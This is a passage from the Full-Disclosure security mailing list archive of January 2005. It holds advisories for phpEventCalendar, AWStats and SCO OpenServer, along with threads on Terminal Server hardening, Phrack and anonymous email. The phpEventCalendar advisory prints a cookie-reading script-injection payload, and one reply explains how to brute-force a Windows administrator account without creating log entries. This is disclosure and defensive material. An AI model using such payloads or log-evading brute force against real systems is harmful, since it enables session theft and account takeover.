98 	detected 	09:03:29 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
99 	detected 	09:02:08 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6


>If that's just the version check traffic (and my gut feeling is that it is,

>considering the data you've shown), this is *not* the kind of SkyPE traffic

>you'd want to classify, and your QoS probably doesn't do what you think it 
>does (unless it shapes all traffic to/from that client's IP)... What do you

>think?

The plan is to shape the entire users system to throttle to a lower priority
or a  and/or limited bandwidth or full block when any p2p policy abuse is
detected.  Since you can't tell which traffic is which, just relegate that
user to 9600 bps (BOFH solution).  The skype encryption and traffic should
be able to be mathematically characterized and classified without having to
decrypt...a fun project to work on perhaps...with results fed back to the
IPS system to lock down or flow control. 

- Bryan K. Watson
- bwatson at nettracers.com





From madelman at iname.com  Tue Jan 25 18:38:24 2005
From: madelman at iname.com (Madelman)
Date: Tue, 25 Jan 2005 19:38:24 +0100
Subject: [Full-Disclosure] phpEventCalendar HTML injection
Message-ID: <41F69220.7030706@iname.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: phpEventCalendar HTML injection
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 25/01/2005
Severity: Medium. Registered users can obtain other users cookies

Summary:
- --------

phpEventCalendar is a MySQL backed application that allows users to post and
display events or notes on a month-at-a-glance calendar. A user administration
panel allows authorized users (Administrators) to control who can add, delete,
and edit events (Editors).
(from vendor site: http://www.ikemcg.com/scripts/pec/index.html)

phpEventCalendar doesn't check title and text of events inserted in the database,
so we can inject arbitrary HTML which will be executed by other users.

This vulnerability has been tested with phpEventCalendar 0.2


Details:
- --------

When inserting a new event into the system, phpEventCalendar doesn't check the
values of title and text variables, it only escapes it when necessary to avoid
SQL injection. These variables will be later retrieved by other user viewing the
calendar and showed with strip_slashes so we can write arbitrary HTML (or Javascript)
which will be executed by other users when they look at the calendar (if inserted in
title, but take care there's a limit in the length of the title shown in the calendar)
or when they look at the individual entry.

Example of exploitation:

Insert an event with text: <script>alert(document.cookie);</script>


Solution:
- ---------

Upgrade to phpEventCalendar 0.2.1


Timeline
- --------

07/01/2005 - Vulnerability found
07/01/2005 - Vendor contacted
08/01/2005 - Vendor replied confirming bug
18/01/2005 - New version released
25/01/2005 - Advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB9pIg3RWooxY20cIRAtDzAKCCr/Uh64X4NaCXvFgjTUaHn0l7aQCZARDF
1l2Zx92XmzX+j825gG871AY=
=waZY
-----END PGP SIGNATURE-----


From xyberpix at xyberpix.com  Tue Jan 25 19:48:54 2005
From: xyberpix at xyberpix.com (xyberpix)
Date: Tue, 25 Jan 2005 19:48:54 +0000
Subject: [Full-Disclosure] SMTP Spam Attempt?
In-Reply-To: <41EE2606.1020000@thompsonmike.co.uk>
References: <41EE2606.1020000@thompsonmike.co.uk>
Message-ID: <25174130-6F0A-11D9-BC75-000D93B5315A@xyberpix.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Just to let you know we had the same thing at work this last w/end, we 
had something in the range of 1.4 million spam mails hit the mail 
server in 24 hours.
Anyone else seen this?
Going to check incidents now.

xyberpix


On 19 Jan 2005, at 09:19, Michael Thompson wrote:

> For the past hour I have just watched over 200 dialup machines from 
> all over the world attemp to connect to my Mailserver
>
> They were all rejected like the following
>
> Jan 19 09:05:07 polaris postfix/smtpd[24494]: warning: Illegal address 
> syntax from host195-202.pool82191.interbusiness.it[82.191.202.195] in 
> MAIL command: @
>
> This lasted for about a hour. All I can think of is that I was picked 
> on by some script/virus/Trojan looking to spam.
>
> Any Views?
> -- 
>
>
> Mike
>
> http://www.thompsonmike.co.uk
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
For Security And Open Source News And Info Visit:
http://www.xyberpix.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFB9qKmcRMkOnlkwMERAuQzAJ98zRiDTtr1rllqESwIA3An/YLhIQCggGsf
TVAec1PXTmVjHlJuDgDLMxQ=
=AN7P
-----END PGP SIGNATURE-----



From aditya.deshmukh at online.gateway.expertworks.net  Tue Jan 25 20:04:27 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Wed, 26 Jan 2005 01:34:27 +0530
Subject: [Full-Disclosure] Mirroring procfs.
In-Reply-To: <20050125085839.2912.qmail@webmail31.rediffmail.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAAcU2Sak8skiweys5Arjt4gEAAAAA@online.gateway.expertworks.net>

 



  _____  

From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of preeth k
Sent: Tuesday, January 25, 2005 02:29 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Mirroring procfs.



Sir,
I work on Redhat Linux and we want to know if there is any method to mirror
the '/proc' filesystem on one machine-A to another machine-B so as to
monitor all the events occuring in A using machine-B.
Preeth.
[ALD > ] Well you could run a cron job every 5 secs or so that will do "cp
-r /proc /somedir" and then tar and upload it to some where on machine b
where you could write a shell / perl script doing all the monitoring of the
system for you

 

-Aditya 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050126/9a2274eb/attachment.html 

From lewk at gentoo.org  Tue Jan 25 20:13:13 2005
From: lewk at gentoo.org (Luke Macken)
Date: Tue, 25 Jan 2005 15:13:13 -0500
Subject: [Full-Disclosure] [ GLSA 200501-36 ] AWStats: Remote code execution
Message-ID: <20050125201313.GA8733@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-36
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: AWStats: Remote code execution
      Date: January 25, 2005
      Bugs: #77963
        ID: 200501-36

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

AWStats fails to validate certain input, which could lead to the remote
execution of arbitrary code.

Background
==========

AWStats is an advanced log file analyzer and statistics generator.

Affected packages
=================

    -------------------------------------------------------------------
     Package          /  Vulnerable  /                      Unaffected
    -------------------------------------------------------------------
  1  net-www/awstats        < 6.3                               >= 6.3

Description
===========

When 'awstats.pl' is run as a CGI script, it fails to validate specific
inputs which are used in a Perl open() function call.

Impact
======

A remote attacker could supply AWStats malicious input, potentially
allowing the execution of arbitrary code with the rights of the web
server.

Workaround
==========

Making sure that AWStats does not run as a CGI script will avoid the
issue, but we recommend that users upgrade to the latest version, which
fixes these bugs.

Resolution
==========

All AWStats users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-www/awstats-6.3"

References
==========

  [ 1 ] AWStats ChangeLog
        http://awstats.sourceforge.net/docs/awstats_changelog.txt
  [ 2 ] iDEFENSE Advisory
        http://www.idefense.com/application/poi/display?id=185

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-36.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/6f0665bd/attachment.bin 

From xyberpix at xyberpix.com  Tue Jan 25 20:34:01 2005
From: xyberpix at xyberpix.com (xyberpix)
Date: Tue, 25 Jan 2005 20:34:01 +0000
Subject: [Full-Disclosure] Phrack is dead, long live Phrack!
In-Reply-To: <b4289e863b34db2813d0d0942e487568@tatooine.homelinux.net>
References: <b4289e863b34db2813d0d0942e487568@tatooine.homelinux.net>
Message-ID: <72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I really have to agree with starwars on this one, I have been reading 
Phrack for years now, c'mon people even if a few groups are not willing 
to try an publish Phrack for everyone to vote on, why don't a few of us 
get together and keep Phrack going? Anyone who's interested in keeping 
this part of all our lives in one way or another alive, mail me off the 
list and lets make this happen.

xyberpix

On 23 Jan 2005, at 09:45, starwars wrote:

>
> After several years of steady decline in the wrong hands, maybe it is 
> too late to save Phrack. But I think we owe something back to the zine 
> that gave us so much. Many us were drawn into computer security by 
> Phrack, grew up along with it, and were nourished by the high quality 
> papers of it's contributors.
>
> The current editors of Phrack have decided to kill off Phrack for 
> good. This is an outrage. Phrack has always purported to be for the 
> community by the community. They have no right to kill off nearly 
> twenty years of tradition.
>
> Despite it's poor performance of late, Phrack still has
> an unparalleled and awesome record as a technical source you can really
> bite your teeth into. It's also had a major cultural impact over the
> years:
>
> "You bet your ass we're all alike... we've been spoon-fed baby food at
> school when we hungered for steak... the bits of meat that you did let
> slip through were pre-chewed and tasteless. We've been dominated by
> sadists, or ignored by the apathetic. The few that had something to
> teach found us willing pupils, but those few are like drops of water
> in the desert.
> ...
> Yes, I am a criminal. My crime is that of curiosity. My crime is that 
> of judging people by what they say and think, not what they look like. 
> My crime is that of outsmarting you, something that you will never 
> forgive me for.
> "
>
> -- A hacker's manifesto, the Mentor, 1986
>
> The current "anonymous" batch editors have outgrown the zine. They 
> were a bad choice to begin with, but regardless, that's happened to 
> phrack before. On a regular basis. Every generation or so passes on 
> phrack to the next. It's tradition.
>
> What's different about the current batch of editors was their intense 
> arrogance and unusualy patronizing attitude towards the scene. Phrack 
> hasn't been about the computer underground for years. The last ten 
> years have turned Phrack into a prestigious journal for security 
> research.
>
> The anarchistic underground roots of phrack have been whitewashed away 
> by the latest batch of editors. Go and read the issues from 1980s, 
> early 90s.
>
> The reason this happened was that when the scene moved to the Internet 
> in the mid 90s the MIT hacker memes battled it out against "war games" 
> hacker meme of the 80s. Hacker still has an 80s meaning for the 
> general public, but the MIT hacker meme clearly won amongst the 
> technically savy. The "cracker" and "script kiddy" memes were part of 
> a process that turned Phrack's underground past into an embarrassment.
>
> So Phrack gradually turned against it's own roots.  It's not for the 
> hacker community by the hacker community anymore. Far from it. The 
> current incarnation of Phrack actually spreads hypocritical 
> anti-hacker memes between it's covers. It's BY 
> $150-an-hour-security-consultants FOR 
> our-reputation-in-the-security-industry.
>
> Phrack has been hijacked by sellouts.
>
> Aside from their snobbish elitist attitude, what have the recent 
> editors of Phrack contributed? The articles are written by others. Try 
> reading the "loopback" section written by the Phrack editors sometime. 
> Degrading newbies never gets old for these guys. Ha ha! you're all so 
> stupid! We're so uber elite!
>
> So now what's happened is that these guys are so old school, so 
> been-there-done-that, patronizing assholes that they've decided it's 
> time for Phrack to die rather than evolve.
>
> Here's an alternative to killing off a 20 year tradition: run a 
> competition amongst would-be editors who can publish the best next 
> issue of phrack. Then allow the PUBLIC to vote amongst alternatives as 
> to whom succeeds the current editors.
>
> The team that manages to hack together the best edition of phrack 64 
> wins.
>
> Phrack is dead. Long live phrack!
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
For Security And Open Source News And Info Visit:
http://www.xyberpix.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFB9q05cRMkOnlkwMERAoHmAJ9x62fwGEj7Q0ChRmegS1HwtdMPwQCePZkB
qAoFkYFA8iaoHpQJ1JjHdH4=
=adde
-----END PGP SIGNATURE-----



From purdy at tecman.com  Tue Jan 25 20:38:30 2005
From: purdy at tecman.com (Curt Purdy)
Date: Tue, 25 Jan 2005 14:38:30 -0600
Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities
In-Reply-To: <190DFDD2F99A65469B4B15D3658C0D2BC5A495@ptc6.ponderosatel.com>
Message-ID: <200501251439531.SM02472@wolfcub3kv>

Daniel Sichel wrote:
<snip>
> Naturally  I 
> don't like this answer because of horror stories I have heard 
> about Terminal server. They claim there are no unfixed 
> vulnerabilities to Terminal Server on Windows Server 2000 
> Service Pack 4. 

The problem with terminal server is not any vulnerablities that can be
exploited, but the fact that administrator can be bruteforced (6 attempts
followed by reconnect) and that it is screaming its existence on port 3889.
If you use it, definitely change the port in the registry.

Curt Purdy CISSP, GSEC, CNE, MCSE+I, CCDA 
Information Security Engineer 
DP Solutions 

-----------------------------

If you spend more on coffee than on IT security, you will be hacked.
What's more, you deserve to be hacked.
-- former White House cybersecurity czar Richard Clarke




From temp739 at yahoo.com  Tue Jan 25 20:43:56 2005
From: temp739 at yahoo.com (Pseudo Nym)
Date: Tue, 25 Jan 2005 12:43:56 -0800 (PST)
Subject: [Full-Disclosure] hushmail.com, is this true? 
In-Reply-To: <200501251747.j0PHlgen017129@turing-police.cc.vt.edu>
Message-ID: <20050125204356.77574.qmail@web61205.mail.yahoo.com>

Thank you Valdis, you were spot on.  I'm sorry, I must
have been misunderstood, my main concern IS a blunt
legal object being used against hushmail to find my
identity.  Without contact with their staff there is
no way to prove their claim that their log files do
not correlate IP addresses to e-mail addresses.  I
wanted to know if anyone on the list has had
experiences with them that would support this claim
(that hushmail does not know their own user's IPs).

I'm sorry I came off as harsh to Mr. Smith but when I
saw his email addy was "stfunub" I got a little
carried away.  I thought it would be ironic. :-).

And Atte, I am not posting from my IP address as I am
aware Yahoo leaks that information.

Again, any information related to this claim of
their's would be very helpful.


--- Valdis.Kletnieks at vt.edu wrote:

> On Tue, 25 Jan 2005 11:22:25 CST,
> Bart.Lansing at kohls.com said:
> 
> Figuring out what correlating information is in the
> headers of the mail isn't
> rocket science.
> 
> Figuring out what correlating information is left in
> the various logfiles on
> the hushmail servers *is* rocket science for those
> who aren't hushmail staff.
> 
> In fact, I'm fairly sure that "hushmail tells you
> what is in their logfiles" is
> the only legal way to do it (of course, getting them
> to tell you will likely
> require the use of a subpoena or other legalistic
> blunt weapon...)


		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Helps protect you from nasty viruses. 
http://promotions.yahoo.com/new_mail


From swtornio at mac.com  Tue Jan 25 21:28:48 2005
From: swtornio at mac.com (Steve Tornio)
Date: Tue, 25 Jan 2005 15:28:48 -0600
Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities
In-Reply-To: <200501251439531.SM02472@wolfcub3kv>
References: <200501251439531.SM02472@wolfcub3kv>
Message-ID: <19E8C280-6F18-11D9-AC3D-000393C92756@mac.com>


On Jan 25, 2005, at 2:38 PM, Curt Purdy wrote:

> Daniel Sichel wrote:
> <snip>
>> Naturally  I
>> don't like this answer because of horror stories I have heard
>> about Terminal server. They claim there are no unfixed
>> vulnerabilities to Terminal Server on Windows Server 2000
>> Service Pack 4.
>
> The problem with terminal server is not any vulnerablities that can be
> exploited, but the fact that administrator can be bruteforced (6 
> attempts
> followed by reconnect) and that it is screaming its existence on port 
> 3889.
> If you use it, definitely change the port in the registry.

Of course, one of the very first things you should do on a Windows box 
is rename the administrator account, so this kind of blind 
brute-forcing is not possible.

Also, the problem you describe can be exacerbated in that administrator 
can be brute-forced without creating a log entry, by attempting 5 
logons and disconnecting before Windows disconnects and logs after the 
sixth failure.  This was covered in a talk at Black Hat 2003, when Ryan 
Russell and Tim Mullens released TSGrinder.  I don't know if they 
continued work on it.



From hackerwacker at cybermesa.com  Tue Jan 25 21:51:07 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Tue, 25 Jan 2005 14:51:07 -0700
Subject: [Full-Disclosure] hushmail.com, is this true? 
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
Message-ID: <023101c50327$f9a8bc00$0200020a@jamesnew>

> Thank you Valdis, you were spot on.  I'm sorry, I must
> have been misunderstood, my main concern IS a blunt
> legal object being used against hushmail to find my
> identity.

No business can ignore a judges orders to produce whatever required
information.
The business can contest the request but if it is proven out the information
must be produced.

If you are really concerned about your privacy, and not just wasting our
time, then never
assume or expect another to protect your privacy. There are many techniques
out there to remain anonymous.
Any system that relies on just one free service to ensure privacy is
useless.

j



From msh at datakill.us  Tue Jan 25 22:04:47 2005
From: msh at datakill.us (msh at datakill)
Date: Tue, 25 Jan 2005 17:04:47 -0500
Subject: [Full-Disclosure] Phrack is dead, long live Phrack!
In-Reply-To: <72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com>
References: <b4289e863b34db2813d0d0942e487568@tatooine.homelinux.net>
	<72494E50-6F10-11D9-BC75-000D93B5315A@xyberpix.com>
Message-ID: <20050125220447.GA7310@datakill.us>

I totally disagree. I think that Phrack.org was a bunch of watered
down old bullshit. If "Long Live" anything, Long Live pHC.

whiteh8 f0' lyfE

On Tue, Jan 25, 2005 at 08:34:01PM +0000, xyberpix wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> I really have to agree with starwars on this one, I have been reading 
> Phrack for years now, c'mon people even if a few groups are not willing 
> to try an publish Phrack for everyone to vote on, why don't a few of us 
> get together and keep Phrack going? Anyone who's interested in keeping 
> this part of all our lives in one way or another alive, mail me off the 
> list and lets make this happen.
> 
> xyberpix
> 
> On 23 Jan 2005, at 09:45, starwars wrote:
> 
> >
> >After several years of steady decline in the wrong hands, maybe it is 
> >too late to save Phrack. But I think we owe something back to the zine 
> >that gave us so much. Many us were drawn into computer security by 
> >Phrack, grew up along with it, and were nourished by the high quality 
> >papers of it's contributors.
> >
> >The current editors of Phrack have decided to kill off Phrack for 
> >good. This is an outrage. Phrack has always purported to be for the 
> >community by the community. They have no right to kill off nearly 
> >twenty years of tradition.
> >
> >Despite it's poor performance of late, Phrack still has
> >an unparalleled and awesome record as a technical source you can really
> >bite your teeth into. It's also had a major cultural impact over the
> >years:
> >
> >"You bet your ass we're all alike... we've been spoon-fed baby food at
> >school when we hungered for steak... the bits of meat that you did let
> >slip through were pre-chewed and tasteless. We've been dominated by
> >sadists, or ignored by the apathetic. The few that had something to
> >teach found us willing pupils, but those few are like drops of water
> >in the desert.
> >...
> >Yes, I am a criminal. My crime is that of curiosity. My crime is that 
> >of judging people by what they say and think, not what they look like. 
> >My crime is that of outsmarting you, something that you will never 
> >forgive me for.
> >"
> >
> >-- A hacker's manifesto, the Mentor, 1986
> >
> >The current "anonymous" batch editors have outgrown the zine. They 
> >were a bad choice to begin with, but regardless, that's happened to 
> >phrack before. On a regular basis. Every generation or so passes on 
> >phrack to the next. It's tradition.
> >
> >What's different about the current batch of editors was their intense 
> >arrogance and unusualy patronizing attitude towards the scene. Phrack 
> >hasn't been about the computer underground for years. The last ten 
> >years have turned Phrack into a prestigious journal for security 
> >research.
> >
> >The anarchistic underground roots of phrack have been whitewashed away 
> >by the latest batch of editors. Go and read the issues from 1980s, 
> >early 90s.
> >
> >The reason this happened was that when the scene moved to the Internet 
> >in the mid 90s the MIT hacker memes battled it out against "war games" 
> >hacker meme of the 80s. Hacker still has an 80s meaning for the 
> >general public, but the MIT hacker meme clearly won amongst the 
> >technically savy. The "cracker" and "script kiddy" memes were part of 
> >a process that turned Phrack's underground past into an embarrassment.
> >
> >So Phrack gradually turned against it's own roots.  It's not for the 
> >hacker community by the hacker community anymore. Far from it. The 
> >current incarnation of Phrack actually spreads hypocritical 
> >anti-hacker memes between it's covers. It's BY 
> >$150-an-hour-security-consultants FOR 
> >our-reputation-in-the-security-industry.
> >
> >Phrack has been hijacked by sellouts.
> >
> >Aside from their snobbish elitist attitude, what have the recent 
> >editors of Phrack contributed? The articles are written by others. Try 
> >reading the "loopback" section written by the Phrack editors sometime. 
> >Degrading newbies never gets old for these guys. Ha ha! you're all so 
> >stupid! We're so uber elite!
> >
> >So now what's happened is that these guys are so old school, so 
> >been-there-done-that, patronizing assholes that they've decided it's 
> >time for Phrack to die rather than evolve.
> >
> >Here's an alternative to killing off a 20 year tradition: run a 
> >competition amongst would-be editors who can publish the best next 
> >issue of phrack. Then allow the PUBLIC to vote amongst alternatives as 
> >to whom succeeds the current editors.
> >
> >The team that manages to hack together the best edition of phrack 64 
> >wins.
> >
> >Phrack is dead. Long live phrack!
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> For Security And Open Source News And Info Visit:
> http://www.xyberpix.com
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (Darwin)
> 
> iD8DBQFB9q05cRMkOnlkwMERAoHmAJ9x62fwGEj7Q0ChRmegS1HwtdMPwQCePZkB
> qAoFkYFA8iaoHpQJ1JjHdH4=
> =adde
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 

-- 
 _________________________
|                         |
|   http://datakill.us    |   
| irc.datakill.us #dkchat |
|_________________________|


From toddtowles at brookshires.com  Tue Jan 25 22:06:02 2005
From: toddtowles at brookshires.com (Todd Towles)
Date: Tue, 25 Jan 2005 16:06:02 -0600
Subject: [lists] [Full-Disclosure] Terminal Server vulnerabilities
Message-ID: <9E97F0997FB84D42B221B9FB203EFA277B5890@dc1ms2.msad.brookshires.net>

I agree, renamed the Admin account and create a fake Admin account, put
very good logging on it. Because any attempts on this account would be
attacks.

> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com 
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf 
> Of Steve Tornio
> Sent: Tuesday, January 25, 2005 3:29 PM
> To: full-disclosure at lists.netsys.com
> Subject: Re: [lists] [Full-Disclosure] Terminal Server vulnerabilities
> 
> 
> On Jan 25, 2005, at 2:38 PM, Curt Purdy wrote:
> 
> > Daniel Sichel wrote:
> > <snip>
> >> Naturally  I
> >> don't like this answer because of horror stories I have 
> heard about 
> >> Terminal server. They claim there are no unfixed 
> vulnerabilities to 
> >> Terminal Server on Windows Server 2000 Service Pack 4.
> >
> > The problem with terminal server is not any vulnerablities 
> that can be 
> > exploited, but the fact that administrator can be bruteforced (6 
> > attempts followed by reconnect) and that it is screaming 
> its existence 
> > on port 3889.
> > If you use it, definitely change the port in the registry.
> 
> Of course, one of the very first things you should do on a 
> Windows box is rename the administrator account, so this kind 
> of blind brute-forcing is not possible.
> 
> Also, the problem you describe can be exacerbated in that 
> administrator can be brute-forced without creating a log 
> entry, by attempting 5 logons and disconnecting before 
> Windows disconnects and logs after the sixth failure.  This 
> was covered in a talk at Black Hat 2003, when Ryan Russell 
> and Tim Mullens released TSGrinder.  I don't know if they 
> continued work on it.
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 



From Valdis.Kletnieks at vt.edu  Tue Jan 25 22:13:10 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 17:13:10 -0500
Subject: [Full-Disclosure] hushmail.com, is this true? 
In-Reply-To: Your message of "Tue, 25 Jan 2005 14:51:07 MST."
	<023101c50327$f9a8bc00$0200020a@jamesnew> 
References: <20050125204356.77574.qmail@web61205.mail.yahoo.com>
	<023101c50327$f9a8bc00$0200020a@jamesnew>
Message-ID: <200501252213.j0PMDA9Y009426@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 14:51:07 MST, james edwards said:

> No business can ignore a judges orders to produce whatever required
> information.
> The business can contest the request but if it is proven out the information
> must be produced.

So tell me - what do you do when you get served a subpoena requesting all
your records regarding the development of a specified drug by Pfeizer?

Oh. You never *had* those records, because you don't keep them?  I see.... ;)

They can't force you to produce information you can prove you don't have... 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/15d6c967/attachment.bin 

From toddtowles at brookshires.com  Tue Jan 25 22:28:13 2005
From: toddtowles at brookshires.com (Todd Towles)
Date: Tue, 25 Jan 2005 16:28:13 -0600
Subject: [Full-Disclosure] hushmail.com, is this true? 
Message-ID: <9E97F0997FB84D42B221B9FB203EFA277B58AF@dc1ms2.msad.brookshires.net>

 I have to agree with James,

If you are using Hushmail's free e-mail service and expecting that to
hide you from the government, then you are in trouble. Mine as well keep
e-mailing from your yahoo address anyways. You must assume all things
log your IP address, even anon proxies. Which most do...but don't give
your IP to the next computer. But tracing you is still possible, if the
government in that region wanted to find you...they could.

> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com 
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf 
> Of james edwards
> Sent: Tuesday, January 25, 2005 3:51 PM
> To: full-disclosure at lists.netsys.com
> Subject: Re: [Full-Disclosure] hushmail.com, is this true? 
> 
> > Thank you Valdis, you were spot on.  I'm sorry, I must have been 
> > misunderstood, my main concern IS a blunt legal object being used 
> > against hushmail to find my identity.
> 
> No business can ignore a judges orders to produce whatever 
> required information.
> The business can contest the request but if it is proven out 
> the information must be produced.
> 
> If you are really concerned about your privacy, and not just 
> wasting our time, then never assume or expect another to 
> protect your privacy. There are many techniques out there to 
> remain anonymous.
> Any system that relies on just one free service to ensure 
> privacy is useless.
> 
> j
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 



From please_reply_to_security at sco.com  Tue Jan 25 23:30:00 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Tue, 25 Jan 2005 15:30:00 -0800
Subject: [Full-Disclosure] OpenServer 5.0.6 OpenServer 5.0.7 : scosessoin
	local privilege elevation
Message-ID: <20050125153000.A1715@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



______________________________________________________________________________

			SCO Security Advisory

Subject:		OpenServer 5.0.6 OpenServer 5.0.7 : scosessoin local privilege elevation
Advisory number: 	SCOSA-2005.5
Issue date: 		2005 January 25
Cross reference:	sr886719 fz528461 erg712476 CAN-2003-1021
______________________________________________________________________________


1. Problem Description

	A problem has been identified in the scosession program
	when handling strings on the commandline. Because of this,
	a local attacker may be able to gain elevated privileges.

	The Common Vulnerabilities and Exposures project (cve.mitre.org)
	has assigned the name CAN-2003-1021 to this issue.


2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	OpenServer 5.0.6 		/usr/bin/X11/scosession
	OpenServer 5.0.7 		/usr/bin/X11/scosession

3. Solution

	The proper solution is to install the latest packages.

4. OpenServer 5.0.6

	4.1 First install oss646b or later

        4.2 Location of oss646c

        ftp://ftp.sco.com/pub/openserver5/oss646c/

        4.3 Verification of oss646c

        MD5 (VOL.000.000) = f19b6c6949f615316bfb075d249989e8
        MD5 (VOL.000.001) = 341ff8553aecd2c7b0c2beaf83030d0f
        MD5 (VOL.000.002) = 6e46708ad8029e12280d4f9ac60ab814
        MD5 (VOL.000.003) = 2868b64a6a6db742adb3b485be645d7e
        MD5 (VOL.000.004) = 1696fe1db9bb063827ee5e76e58dff84
        MD5 (VOL.000.005) = f39da342f8af72fcaccdf478dca04109
        MD5 (VOL.000.006) = 2b31611c8af7d2e7910d6e8e3cf701a6
        MD5 (VOL.000.007) = d0175c0f4e3ed29435b1eab95609f8f4
        MD5 (VOL.000.008) = aa9e8a525c341fed077f981b1dacb486
        MD5 (VOL.000.009) = 8e023af67b57507824406bdda322079a
        MD5 (VOL.000.010) = 2b46e8adba8ae0b64109f2069da978a2

	4.4 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.5

	4.5 Verification

	MD5 (VOL.000.000) = 953b64f2a068cd188717ebf3c87e9aed

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools

	4.6 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	1) Download the VOL* files to a directory

	2) Run the custom command, specify an install from media
	images, and specify the directory as the location of the
	images.


5. OpenServer 5.0.7

	5.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.5

	The fixes are also available in SCO OpenServer Release 5.0.7
        Maintenance Pack 3 or later.  See
        http://www.sco.com/support/update/download/osr507list.html.

	5.2 Verification

	MD5 (VOL.000.000) = 953b64f2a068cd188717ebf3c87e9aed

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	5.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	1) Download the VOL* files to a directory

	2) Run the custom command, specify an install from media
	images, and specify the directory as the location of the
	images.


6. References

	Specific references for this advisory:
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-1021

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr886719 fz528461
	erg712476.


7. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


8. Acknowledgments

	SCO would like to thank Joel Soderberg and Christer Oberg
	of Deprotect which describes itself as "a Swedish based
	security company divided into four divisions; Managed
	Security Services, Security Services, Products and Development
	and our Security Academy."

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

